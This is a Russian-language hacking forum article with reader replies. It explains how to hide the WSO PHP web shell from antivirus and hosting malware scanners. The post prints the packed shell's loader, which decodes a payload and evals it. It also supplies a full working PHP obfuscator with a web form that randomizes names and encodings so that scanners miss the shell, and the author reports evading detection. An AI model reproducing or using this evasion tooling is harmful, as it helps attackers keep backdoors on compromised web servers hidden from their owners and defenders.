Прячем WSO от АВ

Тема в разделе "Статьи", создана пользователем Centr, 26 мар 2015.

  1. TopicStarter Overlay
    Centr

    Centr Команда форума

    [​IMG]
    Бедняга WSO булава палица половиной АВ. Как не пакованый (26/55), так и пакованный (лол, но даже 30/55). Сегодня мы научимся обфусцировать WSO так, что он выживет даже после самого суроваво сканенга файленгов на хостенге.

    Для начала, давайте взглянем на пакованный шелл:
    Код:
    <?php
    $auth_pass = "63a9f0ea7bb98050796b649e85481845";
    $color = "#df5";
    $default_action = 'FilesMan';
    $default_use_ajax = true;
    $default_charset = 'Windows-1251';
    preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'______base64_______ '\x29\x29\x29\x3B",".");?>
    
    Я убрал данные обернутые base64, ради экономии места.
    Первые 5 строк – это дикое палево, сколько шеллов было найдено по “FilesMan”… Поэтому эти 5 строк мы запихнем туда же, где остальной код в base64. А сейчас можем отбросить. И у нас будет примерно такой кодес:
    Код:
    <?php
    preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'______base64_______ '\x29\x29\x29\x3B",".");?>
    
    Начнем с конца. Третий параметр в preg_replace – “.” мы можем заменить чем угодно, работа скрипта ни капельки не измениться.
    Что это за “\x65\x76….\xNN”? Все просто (выведем это дело print’ом ):
    Код:
    eval(gzinflate(base64_decode('______base64_______')));
    
    Ничего сверхъестественного.
    Ну а первый параметр – “/.*/e”, это регулярка с модификатором, благодаря которому содержимое второго параметра исполняется как php-код. Именно на этот модификатор и саму функцию preg_replace часто брыкаются антивирусы и всякие скрипты поиска шеллов – дохторы айболиты и прочие сатанинские поделки. А на серваках, где стоит suhosin патч,preg_replace с модификатором e вообще не работает.
    Так давайте напишем простейший обфускатор (в смысле я написал, а вы почитайте немного говнокода) чуть больше чем в сотню строк:
    Код:
    <?php
    //Генерируем обфусцированный код для хитровыебанного вызова функций
    function gen_obfuscated_str($string, $letters, $varname){
    $length = strlen($string);
    for ($i=0; $i < $length; $i++){
    if (rand(0,1) == 0){
    $pos = strpos($letters, $string[$i]);
    } else {
    $pos = strrpos($letters, $string[$i]);
    }
    $result.= "\$".$varname."[".$pos."]";
    if($i != $length-1){
    $result.=".";
    }
    }
    return $result;
    }
    
    //Обфускация \xNN
    function gen_obf_hex($array){
    $str_result="\"";
    foreach ($array as $h){
    $method = rand (0,5);
    switch($method){
    case 0: $str_result.=$h; break;
    case 1: $str_result.=strtolower($h); break;
    case 2:
    case 3: $hex = substr($h, 2,2);
    $str_result.=chr(hexdec($hex));
    break;
    case 4:
    case 5: $hex = substr($h, 2,2);
    $str_result.="\".chr(".hexdec($hex).").\"";
    break;
    }
    }
    return $str_result."\"";
    }
    
    // Создание рандомных имен для переменных
    function gen_variable_name($letters){
    $result = substr(str_shuffle($letters),0,rand(1,7));
    return $result.rand(1,9999);
    }
    
    if ($_SERVER['REQUEST_METHOD']=='POST'){
    $content = $_POST['content']."<?php echo \"ONI NIHUYA NE ZDELAYUD!!!111";
    $content = base64_encode(gzdeflate($content,9));
    $symbols=str_shuffle("qwertyuiopasdfghjklzxcvbnm_1234567890*./)(;");
    $letters="QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
    
    // eval(gzinflate(base64_decode(
    $hexeval = array ("\\x65","\\x76","\\x61","\\x6C","\\x28","\\x67","\\x7A","\\x69","\\x6E","\\x66","\\x6C","\\x61","\\x74","\\x65","\\x28","\\x62","\\x61","\\ x73","\\x65","\\x36","\\x34","\\x5F","\\x64","\\x65","\\x63","\\x6F","\\x64","\\x65","\\x28",);
    
    // )));
    $hexevalend = array("\\x29","\\x29","\\x29","\\x3B");
    
    //Создаем массив с рандомными переменными
    for($i=0;$i<5;$var_array[]=gen_variable_name($letters),$i++);
    
    //Получаем обфусцированные строки
    $start_eval = gen_obf_hex($hexeval);
    $end_eval = gen_obf_hex($hexevalend);
    $func = gen_obfuscated_str("preg_replace", $symbols,$var_array[0]);
    $func2 = gen_obfuscated_str("/.*/e", $symbols,$var_array[0]);
    
    //Формируем код обфусцированного скрипта
    $result_source = "<?рhp ";
    $result_source .= "\$".$var_array[0]." = \"".$symbols."\";";
    $result_source .= "\$".$var_array[1]." = ".$func.";";
    $result_source .= "\$".$var_array[2]." = ".$start_eval.";";
    $result_source .= "\$".$var_array[3]." = ".$end_eval.";";
    $result_source .= "\$".$var_array[4]." = \$".$var_array[2].".\"'".$content."'\".\$".$var_array[3].";";
    //Рандомнасть всюду!
    $result_source .= "\$".$var_array[1].""."(".$func2.", \$".$var_array[4]." ,\"".rand(100,999)."\");";
    } else{
    $result_source='';
    }
    ?>
    <html>
    <head><title>WSO-Obfuscator</title></head>
    <style>
    body {
    background:url('http://krober.biz/wp-content/uploads/2014/11/bg2.png');
    font-family:Verdana, sans-serif;
    }
    textarea{
    font-family:"Lucida Console", sans-serif;
    font-size: 12px;
    border:4px solid #000;
    border-radius-left: 15px;
    }
    input{
    border:4px solid #000;
    font-family:"Lucida Console", sans-serif;
    font-size: 27px;
    }
    </style>
    <body>
    <form method="post"><center>
    <h2>...::: E1337 PR1V8 0bf s0f7 :::...</h2>
    <textarea name="content" rows="30" cols="100">
    <?=$result_source;?>
    </textarea><br><br>
    <input type="submit" value=">>|>> 08FUSK8 <<|<<">
    </form>
    </body>
    </html>
    
    Не забывайте, что мы пихаем код в eval, поэтому надо убирать “<?php“, “<?”, “<%” из скриптов, которые вы хотите обфусцировать.

    Используется всего 3 фичи:

    1. Рандомные переменные.
    2. Вызов функций через переменные

    3. Заменяем последовательность из \xNN на 1 из 4 вариантов.
    Больше ничего сверхъестественного не используется. Каждый раз содержимое разное (не меняется разве что то, что обернуто в base64). И в коде нет намека на палевные функции – base64_decode, eval, preg_replace и т.д.

    Результат:
    [​IMG]
    Скрипт “Айболит” и еще пара поделок, аналогично, не смогли углядеть.
     
    Последнее редактирование: 11 янв 2016
  2. Спасибо, удовлетворили :)
     
  3. О, то что искал, хорошая статейка!
     
  4. Хм, ну так себе, такой инфой владею уже ого-ого)
     
  5. Смотри не лопни деточка, Админу спс за полезную статью!)
     

Поделиться этой страницей